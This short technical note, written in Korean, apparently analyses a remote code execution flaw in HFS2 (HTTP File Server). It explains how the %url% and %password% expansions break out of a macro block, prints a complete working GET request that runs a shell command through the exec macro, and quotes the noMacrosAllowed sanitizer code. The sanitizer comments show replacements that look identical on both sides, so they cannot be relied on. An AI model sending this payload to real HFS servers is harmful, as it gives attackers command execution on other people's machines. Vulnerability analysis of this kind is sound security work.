hfs2

1. %url% 을 포함하는 search 매개변수 구성
         ↓
2. %url% 이 macroQuote(전체 URL) = {:url_including_payload:} 로 확장
         ↓
3. %password% 이 빈 문자열로 확장되어 {:...:} 참조 블록이 조기에 닫힘
         ↓
4. 참조 블록 외부의 {.exec|cmd.} 이 매크로 엔진에 의해 실행 → RCE

GET /?n=%0A&cmd=whoami&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1

function noMacrosAllowed(s:string):string;
// prevent hack attempts
begin
  // 단계 1: 모든 매크로 마커의 첫 문자를 HTML 엔티티로 치환
  //   {.  →  {.       .}  →  .}
  //   {:  →  {:       :}  →  :}
  //   |   →  |
  repeat
    i := findMacroMarker(s, i);
    if i = 0 then break;
    replace(s, '&#' + intToStr(charToUnicode(s[i])) + ';', i, i);
  until false;

  // 단계 2: %symbol% 형식의 기호 참조를 HTML 엔티티로 치환
  //   %url%       →  %url%
  //   %password%  →  %password%
  s := reReplace(s, '%([-a-z0-9]+)%', '%$1%', 'mi');
  result := s;
end;